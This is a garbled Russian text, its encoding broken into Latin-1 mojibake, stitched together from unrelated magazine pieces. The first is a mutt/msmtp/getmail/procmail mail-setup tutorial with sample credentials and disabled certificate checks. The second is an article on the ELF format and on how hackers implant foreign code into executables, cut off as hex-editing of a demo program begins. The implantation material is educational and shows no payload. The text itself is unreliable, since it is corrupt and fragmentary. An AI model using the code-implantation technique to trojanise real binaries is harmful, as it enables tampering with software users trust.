(âñå-òàêè ÿ âðåìÿ îò âðåìåíè ÷òî-íèáóäü èñïðàâëÿþ) ìîæíî âçÿòü ñ
www.toxahost.ru/projects.html.

[ïîëó÷àåì è îòïðàâëÿåì] ×èòàòü ïî÷òó ìû óæå óìååì, à âîò îòï-
ðàâëÿòü è ïîëó÷àòü � ïîêà åùå íåò. Íàñòðîéêà msmtp íå çàéìåò ìíîãî
âðåìåíè. Åãî êîíôèãóðàöèîííûé ôàéë ïîäåëåí íà ñåêöèè, êàæäàÿ èç
êîòîðûõ íà÷èíàåòñÿ ñ äèðåêòèâû account <íàçâàíèå_àêêàóíòà>. Ïî
óìîë÷àíèþ msmtp èùåò àêêàóíò ñ íàçâàíèåì default, íî ìîæíî óêàçàòü
ëþáóþ äðóãóþ ó÷åòíóþ çàïèñü ñ ïîìîùüþ àðãóìåíòà '-a'. Òàêèì îáðà-
çîì, ïåðåêëþ÷åíèå ïî÷òîâûõ ñåðâåðîâ, ÷åðåç êîòîðûå áóäåò îòïðàâ-[X
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ëÿòüñÿ ïî÷òà, â ñâÿçêå mutt+msmtp áóäåò îñóùåñòâëÿòüñÿ ñ ïîìîùüþ
õîòêåÿ (ñì. bindings.mutt), óñòàíàâëèâàþùåãî ïåðåìåííóþ sendmail â
çíà÷åíèå âèäà msmtp -a account.

$ vi ~/.msmtprc

# ìèíèìàëüíàÿ íàñòðîéêà âêëþ÷àåò â ñåáÿ èìÿ àêêàóíòà, èìÿ õîñòà è
ïîëå from
account default
host toxahost.ru
from toxa@toxahost.ru

# åñëè æå òðåáóåòñÿ SMTP-àâòîðèçàöèÿ èëè äîñòóï ïî TLS � 
íåò ïðîáëåì
account toxahost-auth-tls
host toxahost.ru
auth login
user toxa
password mycoolpass
tls
tls_nostarttls
tls_nocertcheck
from toxa@toxahost.ru

Çà ïîëó÷åíèå ïî÷òû îòâå÷àåò getmail. Åå êîíôèãóðàöèîííûå ôàéëû ðàñ-
ïîëàãàþòñÿ â êàòàëîãå ~/.getmail è èìåþò ôîðìàò «îäèí ôàéë � îäèí àê-
êàóíò». Getmail óìååò äîñòàâëÿòü ïî÷òó êàê ïî plain POP3/IMAP, òàê è ïî
POP3S/IMAPS (POP3/IMAP over SSL), äîñòàòî÷íî óêàçàòü ñîîòâåòñòâóþ-
ùèé òèï äîñòàâêè. Òèïè÷íûé êîíôèã ñîñòîèò èç òðåõ ÷àñòåé: îáùèõ îï-
öèé (options), îïöèé ïðîòîêîëà (retriever) è îïöèé äîñòàâêè (destination).

$ vi ~.getmail/getmailrc

# çäåñü ìû óêàçûâàåì îáùèå îïöèè, âûñòàâëÿåìûå 
äëÿ äàííîãî àêêàóíòà
[options]
# âêëþ÷àåì ïîäðîáíîå æóðíàëèðîâàíèå äåéñòâèé
verbose = 1
# óêàçûâàåì ïîëó÷àòü âñå ñîîáùåíèÿ ñ POP3-ñåðâåðà, 
â òîì ÷èñëå è ïðî÷èòàííûå
readall = yes
# óäàëÿòü ïîñëå ïîëó÷åíèÿ
delete = yes
# ïðîòîêîëèðîâàòü ïðîöåññ
message_log = /var/log/getmail.log
timeout = 360
max_message_size = 0

# ñàìàÿ ãëàâíàÿ ÷àñòü � ïðîòîêîë, ëîãèí, ïàðîëü
[retriever]
type = SimplePOP3Retriever
server = toxahost.ru
username = toxa
password = mycoolpass

# à çäåñü ìû óêàçûâàåì, êàê áóäåò îñóùåñòâëÿòüñÿ îáðàáîòêà ïî÷òû
[destination]
# âìåñòî òîãî ÷òîáû ñðàçó êëàñòü ïî÷òó â ÿùèê, ìû îòäàåì åå íà îá-
ðàáîòêó âíåøíåé ïðîãðàììå
type = MDA_external
# à èìåííî � procmail
path = /usr/local/bin/procmail

Åñëè âìåñòî íåçàùèùåííîãî ïëàéíòåêñòîâîãî POP3 èñïîëüçóåòñÿ
POP3-over-SSL, è äåìîí ïðèíèìàåò òàêèå ñîåäèíåíèÿ íà ïîðòó 995, íà-
äî âñåãî ëèøü èçìåíèòü ñåêöèþ retriever íà ñëåäóþùóþ:

[retriever]
type = SimplePOP3SSLRetriever
server = toxahost.ru
port = 995
username = toxa
password = mycoolpass

Â ñâåäåíèÿõ î äîñòàâêå ìû óêàçàëè, ÷òî âñÿ ïî÷òà áóäåò îòäàâàòüñÿ íà îá-
ðàáîòêó procmail, êîòîðûé è çàéìåòñÿ ñîðòèðîâêîé ïèñåì ïî ïàïêàì. Ýòî
î÷åíü óäîáíî, êîãäà òû ïîäïèñàí íà íåñêîëüêî ñïèñêîâ ðàññûëêè, èëè

ïðîñòî õî÷åøü ðàñêëàäûâàòü ïèñüìà ïî ðàçíûì ïàïêàì â çàâèñèìîñòè îò
îòïðàâèòåëÿ. Ñèíòàêñèñ êîíôèãóðàöèîííîãî ôàéëà procmail âûïîëíåí â
òðàäèöèîííîì íàðêîìàíñêîì ñòèëå ;), õàðàêòåðíûì äëÿ oldschool-ïðîã-
ðàìì. Âêðàòöå, ïîñëå îáúÿâëåíèÿ ïåðåìåííûõ êàæäàÿ çàïèñü èìååò âèä
«äåéñòâèå äî � óñëîâèå � äåéñòâèå ïîñëå», ãäå «äåéñòâèå äî» ìîæåò
áûòü ïåðåíàïðàâëåíèåì äðóãîé ïðîãðàììå, ïåðåïèñûâàíèåì ïîëåé ïèñü-
ìà è ò.ä., «óñëîâèå» � ðåãåêñï, ïî êîòîðîìó âûïîëíÿåòñÿ «äåéñòâèå ïîñ-
ëå» � ïåðåìåùåíèå ïèñüìà â çàäàííóþ ïàïêó, âûçîâ âíåøíåé ïðîãðàì-
ìû è ïðî÷åå. Ñèíòàêñèñ çàïèñåé óæàñåí, íî èìåííî áëàãîäàðÿ ñâîèì âîç-
ìîæíîñòÿì äåëàòü ñ ïî÷òîé âñå, ÷òî äóøå óãîäíî, procmail è ïî ñåé äåíü
îñòàåòñÿ ñàìûì ìîùíûì ñðåäñòâîì ôèëüòðàöèè ñîîáùåíèé.

$ vi ~/.procmailrc

MAILDIR=$HOME/Maildir/
LOGFILE=$HOME/.procmaillog
LOGABSTRACT=no
VERBOSE=no
DROPPRIVS=yes
FORMAIL=/usr/local/bin/formail

# ïðåæäå âñåãî, âûçûâàåì ïðîâåðêó ÂÑÅÕ ïèñåì íà ñïàì ñ ïîìîùüþ
SpamAssassin. Îá ýòîì ÷óòü ïîçæå.
:0fw: spamassassin.lock
| /usr/local/bin/spamc

# ïèñüìà, ïîìå÷åííûå êàê ñïàì, óõîäÿò â òðýø
:0:
* ^X-Spam-Status: Yes
$MAILDIR/junk/

# html-ïèñüìà òîæå óõîäÿò â òðýø
:0
* ^Content-Type:.*html
$MAILDIR/junk/

# ïèñüìà èç ñïèñêà ðàññûëêè freebsd ïåðåìåùàþòñÿ â îòâåäåííóþ
äëÿ íèõ ïàïêó
:0
* ^List-Id:.*freebsd
$MAILDIR/freebsd-lists/

# ñèñòåìíûå ñîîáùåíèÿ îò ðóòà óõîäÿò â ñïåöèàëüíóþ ïàïêó, ÷òîáû
íå çàáèâàòü ìóñîðîì îñíîâíîé ÿùèê
:0
* ^(FROM|TO):.*root@*
$MAILDIR/toxahost/

# âñå îñòàëüíîå ñûïåòñÿ â îñíîâíîé ÿùèê ïî óìîë÷àíèþ
:0
* .*
$MAILDIR/default/

Ïàðó ñëîâ î ñïàìå. Ñàìûì ïåðâûì âûçîâîì procmail áûëà ïðîâåðêà ïè-
ñåì íà ñïàì. Â ïðèíöèïå, äëÿ ýòîãî äîñòàòî÷íî ïðîñòî óñòàíîâèòü
SpamAssassin, òàê êàê  óòèëèòà spamc, âõîäÿùàÿ â åãî êîìïëåêò, ïîçâî-
ëÿåò ïðîâåðÿòü ïèñüìà àâòîíîìíî, áåç çàïóñêà ñåðâåðà ÑïàìÀññàññèíà,
spamd. Íî ïðè çàïóùåííîì ñåðâåðå ïðîâåðêà èäåò ãîðàçäî áûñòðåå.

# echo spamd_enable="YES" >> /etc/rc.conf
# /usr/local/etc/rc.d/sa-spamd start

[ôèíàëüíûé øòðèõ] Âîò è âñå. Ïîñëåäíèé øòðèõ � ñîçäàíèå ôàéëà
~/.mailcap, â êîòîðîì áóäóò ïðîïèñàíû ñîîòâåòñòâèÿ âûçûâàåìûõ ïðîã-
ðàìì ðàçëè÷íûì MIME-òèïàì. Òàê, êòî ñêàçàë, ÷òî mutt íå óìååò ÷èòàòü
âëîæåííûå doc-ôàéëû?

$ echo "application/msword; antiword -m koi8-r.txt %s; copiousoutput"
>> ~/.mailcap

Òåïåðü ïðè ïîëó÷åíèè ïèñüìà ñ àòòà÷åì MIME-òèïà application/msword
(êîãäà òåáå âî âëîæåíèè ïðèøëþò doc-ôàéë) mutt âûçîâåò ïðîãðàììó
antiword, êîòîðàÿ óäîáíî ïðåäñòàâèò òåáå ñîäåðæèìîå doc-ôàéëà â
òåêñòîâîì âèäå. Ïî àíàëîãèè ìîæíî ñîïîñòàâèòü äðóãèå ïðîãðàììû
ðàçëè÷íûì MIME-òèïàì. Íà äèñêå òû íàéäåøü ïîëíûå âàðèàíòû âñåõ
óïîìÿíóòûõ ñåãîäíÿ êîíôèãîâ, â òîì ÷èñëå è «áîåâîé» mailcap. Ïðîñòî
ïîñòàâü èç ïàêåòîâ/ïîðòîâ íåäîñòàþùèå óòèëèòû è � ãîòîâî [X
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[ââåäåíèå] Âîðâàâøèñü â íàøó æèçíü, Linux
ïðî÷íî îáîñíîâàëñÿ íà îïåðàöèîííîé àðåíå, è
âñå ÷àùå è ÷àùå íà êîìïàêò-äèñêàõ ãëàìóð-
íûõ æóðíàëîâ îêàçûâàþòñÿ ïðîãðàììû äëÿ
ýòîé îñè. Ïðè÷åì, â îòëè÷èå îò Windows, áîëü-
øèíñòâî ëèíóêñîâûõ ïðèëîæåíèé íå òðåáóåò
óñòàíîâêè è ñïîêîéíî êîïèðóåòñÿ ñ îäíîãî
êîìïüþòåðà íà äðóãîé, ÷òî ñïîñîáñòâóåò èí-
òåíñèâíîìó îáìåíó ôàéëàìè. Ïîìíèøü MS-
DOS? Êàêèå òàì äèñòðèáóòèâû! Íàøå ïîêîëå-
íèå òàêèõ ñëîâ òîãäà âîîáùå íå çíàëî!
Ñ÷èòàåòñÿ, áóäòî áû îáìåí èñïîëíÿåìûìè
ôàéëàìè â ìèðå Linux íàìíîãî íèæå, ÷åì â
Windows, ÷òî áîëüøèíñòâî ïîëüçîâàòåëåé êà-

÷àåò èñõîäíèêè è êîìïèëèðóåò èõ ñàìîñòîÿ-
òåëüíî. Äà êàê áû íå òàê! Èñõîäíèêè çàíèìàþò
íàìíîãî áîëüøå ìåñòà, à ìîäåì íå ðåçèíîâûé
- ýòî ðàç. Äàëåêî íå âñåãäà ñáîðêà ïðîõîäèò
ãëàäêî, è òîãäà ïðèõîäèòñÿ êîëäîâàòü íàä êîì-
ïèëÿòîðîì è èñïðàâëÿòü îøèáêè ðàçðàáîò÷è-
êîâ, ÷òî òðåáóåò êâàëèôèêàöèè - ýòî äâà. Íàêî-
íåö, êîìïèëÿöèÿ áîëüøèõ ïðîåêòîâ çàíèìàåò
äîâîëüíî ïðîäîëæèòåëüíîå âðåìÿ, çà÷àñòóþ
íàìíîãî ïðåâûøàþùåå âðåìÿ ñêà÷êè (äåñÿòêè
ìèíóò èëè äàæå ÷àñû) - ýòî òðè. Åñòü è äðóãèå
ïðè÷èíû, êîòîðûå ìû íå áóäåì çäåñü ïåðå÷èñ-
ëÿòü. Âàæíî îäíî - î÷åíü ìíîãèå ïîëüçîâàòåëè
ïðåäïî÷èòàþò ñëèâàòü ãîòîâûå áèíàðíèêè,
ñêîìïèëèðîâàííûå äëÿ ñâîåé îñè. ×àñòî òàêèå
ôàéëû ëåæàò ïðÿìî íà îôèöèàëüíîì ñàéòå
ïðîèçâîäèòåëÿ. ×àñòî, íî íå âñåãäà!

Åñòü è äðóãàÿ ïðîáëåìà. Ëèíóõîâûå ïðîã-
ðàììèñòû íå çàìîðà÷èâàþòñÿ ñ èíòåðàêòèâ-
íûìè êîíôèãóðàòîðàìè è ñåðüåçíî çëîóïîò-
ðåáëÿþò «äåôàéíàìè» - äèðåêòèâàìè óñëîâ-
íîé êîìïèëÿöèè. Íàïðèìåð, äëÿ îäíîïðîöåñ-
ñîðíîé ìàøèíû ñîçäàåòñÿ îäíà ñáîðêà, äëÿ
äâóõ- èëè ÷åòûðåõïðîöåññîðíîé - äðóãàÿ. Òà-
êèõ îïöèé ìîæåò áûòü î÷åíü ìíîãî è âûëî-
æèòü âñå ðàçíîâèäíîñòè ñáîðîê íà îôèöè-
àëüíûé ñàéò ïðîñòî íåðåàëüíî. À êîìïèëè-
ðîâàòü ñàìîñòîÿòåëüíî - ëåíü. Âîò è ïðèõî-
äèòñÿ ðûñêàòü ïî Cåòè â ïîèñêàõ ãîòîâûõ
ñáîðîê, îòêîìïèëèðîâàííûõ íåçàâèñèìûìè
ðàçðàáîò÷èêàìè, è êà÷àòü èõ. Ïðè ýòîì âîç-
íèêàåò åñòåñòâåííàÿ óãðîçà íàðâàòüñÿ íà âè-
ðóñ, çàêëàäêó èëè òðîÿí, è òàêèå ïðîèñøåñò-
âèÿ óæå ñëó÷àëèñü!Þ
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ÅÑËÈ ÇÀÃÐÓÇÈÒÜ ÈÑÏÎËÍßÅÌÛÉ ÔÀÉË Â
HEX-ÐÅÄÀÊÒÎÐ, ÌÛ ÓÂÈÄÈÌ ÖÈÔÐÛ. ÌÍÎÃÎ
ÖÈÔÐ. ÌÎÆÍÎ ÍÀÆÀÒÜ ÍÀ ÍÎËÜ, ÍÀÑËÀÆÄÀ-
ßÑÜ, ÊÀÊ ÌÀØÈÍÍÛÉ ÊÎÄ ÑÒÈÐÀÅÒÑß ÏÎÄ
ÍÀÒÈÑÊÎÌ ÍÀØÅÉ ÑÈËÛ, ÍÎ... ÝÒÎ ÑËÈØÊÎÌ
ÏÐÎÑÒÎ È ÍÅÈÍÒÅÐÅÑÍÎ. ËÓ×ØÅ ÑÎÁÐÀÒÜÑß
Ñ ÓÌÎÌ È ÄÎÏÈÑÀÒÜ ÍÅÑÊÎËÜÊÎ ÎÑÌÛÑ-
ËÅÍÍÛÕ ÀÑÑÅÌÁËÅÐÍÛÕ ÑÒÐÎÊ! Â ÝÒÎÉ
ÑÒÀÒÜÅ ÃÎÂÎÐÈÒÑß Î ÒÎÌ, ÊÀÊ ÓÑÒÐÎÅÍÛ
ELF-ÔÀÉËÛ, ÊÀÊ ÎÍÈ ÇÀÃÐÓÆÀÞÒÑß Â ÏÀ-
ÌßÒÜ, È ÊÀÊ ÕÀÊÅÐÛ ÂÍÅÄÐßÞÒ Â ÍÈÕ ÑÂÎÈ
ÈÌÏËÀÍÒÀÍÒÛ | Êðèñ Êàñïåðñêè àêà ìûùúõ
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FIND 3 ELFS
mini ccontest: **ÍÍÀÀÉÉÄÄÈÈ ÍÍÀÀ ÔÔÎÎÒÒÎÎ 33-õõ ÝÝËËÜÜÔÔÎÎÂÂ



Äîðàáîòàòü èñõîäíûå òåêñòû ïðîùå âñåãî, íî
÷òî äåëàòü, åñëè åñòü òîëüêî èñïîëíÿåìûé
ôàéë è áîëüøå íè÷åãî? Áåðåì hex-ðåäàêòîð è â
ñàìûõ îòâåòñòâåííûõ ìåñòàõ ïðàâèì yes íà no -
ïóñêàé þçåðû ïîòîì óäèâëÿþòñÿ! À åùå êðó÷å
âíåäðèòü «÷àñîâîé ìåõàíèçì», êîòîðûé â îïðå-
äåëåííûé ìîìåíò âûâåäåò ïðèâåòñòâåííîå ñî-
îáùåíèå íà ýêðàí èëè âûïîëíèò íåêîòîðîå ñî-
áûòèå. Âîò îá ýòîì ìû ñåé÷àñ è ïîãîâîðèì.

[àíàòîìèÿ ýëüôîâ è èõ ðåïðîäóêòèâ-
íûå âîçìîæíîñòè] Èçíà÷àëüíî *nix ïîä-
äåðæèâàëè ìíîæåñòâî èñïîëíÿåìûõ ôîðìà-
òîâ, îæåñòî÷åííî êîíêóðèðóþùèõ ìåæäó 
ñîáîé, íî òåïåðü ïîëå áîÿ îïóñòåëî, è ñðåäè
äûìÿùèõñÿ îáëîìêîâ ìèíóâøèõ ñðàæåíèé
îñòàëñÿ îäèí ELF, ñòàâøèé ñòàíäàðòîì 

äå-ôàêòî äëÿ Linux 
è BSD. Êîå-ãäå åùå
âñòðå÷àåòñÿ äðåâíèé
a.out, íî íà íåãî ìîæíî
íå îáðàùàòü îñîáîãî
âíèìàíèÿ.
Àááðåâèàòóðà ELF
ðàñøèôðîâûâàåòñÿ
êàê Execution & Linkable Format (Ôîðìàò Èñ-
ïîëíåíèÿ è Êîìïîíîâêè). Îí ñîñòîèò â îïðå-
äåëåííîì ðîäñòâå ñ win32 PE, ïîýòîìó ó íèõ
ìíîãî îáùåãî. Â íà÷àëå ELF-ôàéëà ðàñïîëî-
æåí ñëóæåáíûé çàãîëîâîê (ELF-header), îïè-
ñûâàþùèé îñíîâíûå õàðàêòåðèñòèêè ôàéëà
- òèï (èñïîëíåíèÿ èëè ëèíêîâêè), àðõèòåêòó-
ðà ÖÏ, âèðòóàëüíûé àäðåñ òî÷êè âõîäà, ðàç-
ìåðû è ñìåùåíèÿ îñòàëüíûõ çàãîëîâêîâ.

Çà ELF-header'îì ñëåäóåò òàáëèöà ñåãìåíòîâ
(program header table), ïåðå÷èñëÿþùàÿ èìåþ-
ùèåñÿ ñåãìåíòû è èõ àòðèáóòû. Â ôîðìàòå
ëèíêîâêè îíà íåîáÿçàòåëüíà. Ëèíêåð íå îáðà-
ùàåò âíèìàíèÿ íà ñåãìåíòû, òàê êàê ðàáîòàåò
èñêëþ÷èòåëüíî íà óðîâíå ñåêöèé. Íàïðîòèâ,
ñèñòåìíûé çàãðóç÷èê, çàãðóæàþùèé èñïîëíÿ-
åìûé ELF-ôàéë â ïàìÿòü, èãíîðèðóåò ñåêöèè
è îïåðèðóåò öåëûìè ñåãìåíòàìè.

ñòðóêòóðà ELF-ôîðìàò ñ òî÷êè çðåíèÿ ëèíêåðà (ñëåâà) 
è ñèñòåìíîãî çàãðóç÷èêà ÎÑ (ñïðàâà)

ELF header

Program header table optional

Section 1

...

Section n

...

...

header header table

ELF header

Program header table

Segment 1

Segment 2

...

header header table optional
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Ñåãìåíòû è ñåêöèè - ÷òî ýòî
òàêîå? Ñåãìåíò � ýòî íåï-
ðåðûâíàÿ îáëàñòü àäðåñíîãî
ïðîñòðàíñòâà ñî ñâîèìè àò-
ðèáóòàìè äîñòóïà. Â ÷àñò-
íîñòè, ñåãìåíò êîäà èìååò
àòðèáóò èñïîëíåíèÿ, à ñåã-
ìåíò äàííûõ � àòðèáóòû
÷òåíèÿ è çàïèñè. Íå ñòîèò
ïóòàòü ELF-ñåãìåíòû ñ ñåã-
ìåíòàìè x86 ïðîöåññîðà! Â
çàùèùåííîì ðåæèìå 386+
íèêàêèõ «ñåãìåíòîâ» â èçíà-
÷àëüíîì ñìûñëå ýòîãî ñëîâà
óæå íåò, à åñòü òîëüêî ñåëåê-
òîðû, è âñå ñåãìåíòû ELF-
ôàéëà çàãðóæàþòñÿ â åäè-
íûé 4-õ Ãáàéòîâûé x86-ñåã-
ìåíò! Â çàâèñèìîñòè îò òèïà
ñåãìåíòà âåëè÷èíà âûðàâíè-
âàíèÿ â ïàìÿòè ìîæåò âàðüè-
ðîâàòüñÿ îò 4h äî 1000h áàéò
(ðàçìåð ñòðàíèöû íà x86). 
Â ñàìîì ELF-ôàéëå îíè õðà-
íÿòñÿ â íåâûðîâíåííîì âè-
äå, ïëîòíî ïðèæàòûå äðóã 
ê äðóãó. Òàê ÷òî ñî ñâîáîä-
íûì ïðîñòðàíñòâîì äëÿ âíåä-
ðåíèÿ � ñïëîøíûå íàïðÿãè.
Áëèæàéøèé àíàëîã ELF-ñåã-
ìåíòîâ � PE-ñåêöèè, íî â
PE-ôàéëàõ ñåêöèÿ � ýòî íàèìåíüøàÿ ñòðóê-
òóðíàÿ åäèíèöà, à âîò â ELF-ôàéëàõ ñåãìåíò
ìîæåò áûòü ðàçáèò íà îäèí èëè íåñêîëüêî
ôðàãìåíòîâ � ñåêöèé. Â ÷àñòíîñòè, òèïè÷íûé
êîäîâûé ñåãìåíò ñîñòîèò èç ñåêöèé .init (ïðî-
öåäóðû èíèöèàëèçàöèè), .plt (ñåêöèÿ ñâÿçîê),
.text (îñíîâîé êîä ïðîãðàììû) è .finit (ïðîöå-
äóðû ôèíàëèçàöèè). Ñåêöèè íóæíû ëèíêåðó
äëÿ êîìáèíèðîâàíèÿ, ÷òîáû îí ìîã îòîáðàòü
ñåêöèè ñ ïîõîæèìè àòðèáóòàìè è îïòèìàëü-
íûì îáðàçîì ðàñòàñîâàòü èõ ïî ñåãìåíòàì
ïðè ñáîðêå ôàéëà, òî åñòü «ñêîìáèíèðîâàòü».
Íåñìîòðÿ íà òî, ÷òî ñèñòåìíûé çàãðóç÷èê èãíî-
ðèðóåò òàáëèöó ñåêöèé, ëèíêåð âñå-òàêè ïîìå-
ùàåò åå êîïèþ â èñïîëíÿåìûé ôàéë. Ìåñòî
òðàòèòñÿ ñîâñåì íåìíîãî, çàòî îòëàä÷èêàì è
äèçàññåìáëåðàì òàê ïðèÿòíåå. Ïî íå ñîâñåì
ïîíÿòíûì ïðè÷èíàì gdb è ìíîãèå äðóãèå ïðîã-
ðàììû îòêàçûâàþòñÿ çàãðóæàòü ôàéë ñ ïîâ-
ðåæäåííîé èëè îòñóòñòâóþùåé òàáëèöåé ñåê-
öèé, ÷åì ÷àñòî ïîëüçóþòñÿ äëÿ çàùèòû ïðîã-
ðàìì îò ïîñòîðîííåãî âìåøàòåëüñòâà.
Ñòðóêòóðó è íàçíà÷åíèå ïîëåé ñëóæåáíûõ çàãî-
ëîâêîâ çäåñü ðàçáèðàòü íå áóäåì. Ýòèì çàéìåòñÿ
hex-ðåäàêòîð, è íàì ýòè ïîäðîáíîñòè íå ïîíàäî-
áÿòñÿ. Èíòåðåñóþùèåñÿ ìîãóò îáðàòèòüñÿ ê ôàéëó
/usr/include/elf.h � òàì âñå ïîäðîáíî ðàñïèñàíî.

Ëó÷øå ñîñðåäîòî÷èìñÿ íà çàãðóçêå ôàéëà â ïà-
ìÿòü. Ïî óìîë÷àíèþ ELF-çàãîëîâîê íàõîäèòñÿ
ïî àäðåñó 8048000h. Ýòî è åñòü áàçîâûé àäðåñ
çàãðóçêè. Íà ñòàäèè ëèíêîâêè îí ìîæåò áûòü
ñâîáîäíî èçìåíåí íà äðóãîé, íî áîëüøèíñòâî
ïðîãðàììèñòîâ îñòàâëÿþò åãî «êàê åñòü». Âñå
ñåãìåíòû ïðîåöèðóþòñÿ â ïàìÿòü â ñîîòâåò-
ñòâèè ñ âèðòóàëüíûìè àäðåñàìè, ïðîïèñàííûìè
â òàáëèöå ñåãìåíòîâ, ïðè÷åì âèðòóàëüíàÿ ïðî-
åêöèÿ îáðàçà âñåãäà íåïðåðûâíà, è ìåæäó ñåã-
ìåíòàìè íå äîëæíî áûòü íåçàïîëíåííûõ «äûð».
Íà÷èíàÿ ñ àäðåñà 40000000h, ðàñïîëàãàþòñÿ ñîâ-
ìåñòíî èñïîëüçóåìûå áèáëèîòåêè ld-linix.so,
libm.so, libc.so è äðóãèå, êîòîðûå ñâÿçûâàþò îïå-
ðàöèîííóþ ñèñòåìó ñ ïðèêëàäíîé ïðîãðàììîé.
Áëèæàéøèé àíàëîã èç ìèðà Windows � KER-
NEL32.DLL, ðåàëèçóþùàÿ win32 API, íî ïðè æåëà-
íèè ïðîãðàììà ìîæåò âûçûâàòü ôóíêöèè îïåðà-
öèîííîé ñèñòåìû è íàïðÿìóþ. Â NT çà ýòî îòâå÷à-
åò ïðåðûâàíèå INT 2Eh, â Linux, êàê ïðàâèëî, INT
80h (ïîäðîáíåå î ðàçëè÷èè â ðåàëèçàöèè ñèñòåì-
íûõ âûçîâîâ ìîæíî ïðî÷èòàòü â äîêóìåíòå UNIX
Assembly Codes Development for Vulnerabilities
Illustration Purposes èëè êíèãå Çóáêîâà «Àññåìá-
ëåð � ÿçûê íåîãðàíè÷åííûõ âîçìîæíîñòåé»).
Äëÿ âûçîâà ôóíêöèé òèïà îòêðûòèÿ ôàéëà ìîæ-
íî îáðàòèòüñÿ ëèáî ê áèáëèîòåêå libc, ëèáî íåïîñ-

ðåäñòâåííî ê ñàìîé îïåðàöèîí-
íîé ñèñòåìå. Ïåðâûé âàðèàíò �
ñàìûé ãðîìîçäêèé, ñàìûé ïåðå-
íîñèìûé è íàèìåíåå ïðèìåòíûé.
Ïîñëåäíèé � ïðîñò â ðåàëèçà-
öèè, íî ïðè ïåðâîì æå âçãëÿäå
íà äèçàññåìáëåðíûé ëèñòèíã òóò
æå áðîñàåòñÿ â ãëàçà (ïðàâèëü-
íûå ïðîãðàììû INT 80h íå âûçû-
âàþò!), ê òîìó æå îí èñïûòûâàåò
ïðîáëåìû ñîâìåñòèìîñòè ñ ðàç-
ëè÷íûìè âåðñèÿìè Linux. Âîò
îíà � ðàñïëàòà çà ïðîñòîòó!
Ïîñëåäíèé ãèãàáàéò àäðåñíîãî
ïðîñòðàíñòâà (îò àäðåñà
C0000000h è âûøå) çàíèìàþò
êîä è äàííûå îïåðàöèîííîé ñèñ-
òåìû, ê êîòîðûì ìû áóäåì îáðà-
ùàòüñÿ òîëüêî ïîñðåäñòâîì ïðå-
ðûâàíèÿ INT 80h èëè ÷åðåç ðàç-
äåëÿåìûå áèáëèîòåêè.
Ñòåê íàõîäèòñÿ â íèæíèõ àäðå-
ñàõ. Îí íà÷èíàåòñÿ ñ áàçîâîãî
àäðåñà çàãðóçêè è «ðàñòåò
ââåðõ» ïî íàïðàâëåíèþ ê íóëå-
âûì àäðåñàì. Â áîëüøèíñòâå
ëèíóêñîâ ñòåê èñïîëíÿåì (òî
åñòü ñþäà ìîæíî ñêîïèðîâàòü
ìàøèííûé êîä è ïåðåäàòü íà
íåãî óïðàâëåíèå), îäíàêî íåêî-
òîðûå ïàðàíîèäàëüíûå àäìè-

íèñòðàòîðû óñòàíàâëèâàþò çàïëàòêè, îòíèìàþ-
ùèå ó ñòåêà àòðèáóò èñïîëíÿåìîñòè, íî áîëü-
øîé ðàñïðîñòðàíåííîñòè îíè íå ïîëó÷èëè, è
èìè ìîæíî ïðåíåáðå÷ü.

[èìïëàíòàöèÿ ÷óæåðîäíîãî êîäà â ELF-
ôàéë] Äëÿ ýêñïåðèìåíòîâ ïî èìïëàíòàöèè íàì
ïîòðåáóåòñÿ æèâîé èñïîëíÿåìûé ôàéë, êîòîðûé
ïðè ïîìîùè êîìïèëÿòîðà è òåêñòîâîãî ðåäàêòî-
ðà ìû ñìîæåì èçãîòîâèòü è ñàìîñòîÿòåëüíî.
Íàæìåì <Shift-F4> â Midnight Commander'å, íà-
áåðåì ïðîãðàììó ñëåäóþùåãî ñîäåðæàíèÿ (ñì.
ëèñòèíã), çàòåì <F2>/"èìÿ-ôàéëà.c" è îòêîìïè-
ëèðóåì åå ñâîèì ëþáèìûì gcc ñ íàñòðîéêàìè
ïî óìîë÷àíèþ (gcc èìÿ-ôàéëà.c -o èìÿ-ôàéëà).

[äåìîíñòðàöèîííàÿ ïðîãðàììà, 
â êîòîðóþ ìû áóäåì âíåäðÿòü ïîñòîðîííèé êîä]

#include <stdio.h>

main()
{

printf("LORDI - the best group in the world!\n"\
"(www.lordi.org)\nmonsters, bondage and 

sado-maso\n");
}
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×ÒÎ ÍÍÀÌ ÏÏÎÍÀÄÎÁÈÒÑß?
Äëÿ ïðàâêè èñïîëíÿåìûõ ôàéëîâ Ëèíóõ íåîáÿçàòåëåí. Äîñòà-
òî÷íî èìåòü HIEW, çàïóùåííûé èç-ïîä Windows, èëè äàæå MS-
DOS îäíàêî â ýòîì ñëó÷àå ïðèäåòñÿ ñèëüíî ïîïûõòåòü è ê òîìó
æå - êàê ïîòîì ýòî îòëàæèâàòü? Òàê ÷òî Ëèíóõ âñå-òàêè æåëàòå-
ëåí, õîòÿ áû â âèäå ýìóëÿòîðà - VMWare, BOCHS èëè QEMU.
Ìû îñòàíîâèìñÿ íà hex-ðåäàêòîðå HTE, ãîòîâóþ ñáîðêó êîòîðîãî

ìîæíî áåñïëàòíî ñêà÷àòü ñ hte.sf.net. Îí «ïåðåâàðèâà-
åò» ELF-ôîðìàò, â íåì åñòü ìîùíûé àññåìáëåð è ïðî-
÷èå âêóñíîñòè. Êàê âàðèàíò, ìîæíî âîñïîëüçîâàòüñÿ
ðåäàêòîðîì BIEW (biew.sf.net), íî îí íàìíîãî ñëàáåå.
Æåëàòåëüíî èìåòü ÈÄÓ. Ëèíóõîâûé ïîðò ñîäåðæèò
óäîáíûé èíòåðàêòèâíûé îòëàä÷èê â ñòèëå Turbo-

44 GGBB

0õ0

0õ08048000 Text
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Îáðàçîâàâøèéñÿ ôàéë çàãðóçèì â hex-ðåäàê-
òîð (./ht-0.7.5-linux-i386 èìÿ-ôàéëà), à çàòåì
íàæìåì <F6> (mode) è âûáåðåì elf/image. Ðå-
äàêòîð ïåðåéäåò â ðåæèì îòîáðàæåíèÿ îáðàçà
èñïîëíÿåìîãî ôàéëà, àâòîìàòè÷åñêè ïåðåíîñÿ
íàñ â îêðåñòíîñòè òî÷êè âõîäà, îòìå÷åííîé
ìåòêîé entrypoint. Åñëè ýòîãî íå ïðîèçîéäåò,
íàæìåì <F5> (goto) è ââåäåì entrypoint (áåç êà-
âû÷åê). Ýêðàí äîëæåí âûãëÿäåòü ïðèáëèçè-
òåëüíî òàê: (ñì. ðèñ.3)
Äàâàé äëÿ ðàçìèíêè ïðîñòî ïîìåíÿåì ïåð-
âûå äâå êîìàíäû ìåñòàìè: xor ebp,ebp/pop
esi íà pop esi/xor ebp,ebp. Ïîäâåäåì êóðñîð ê
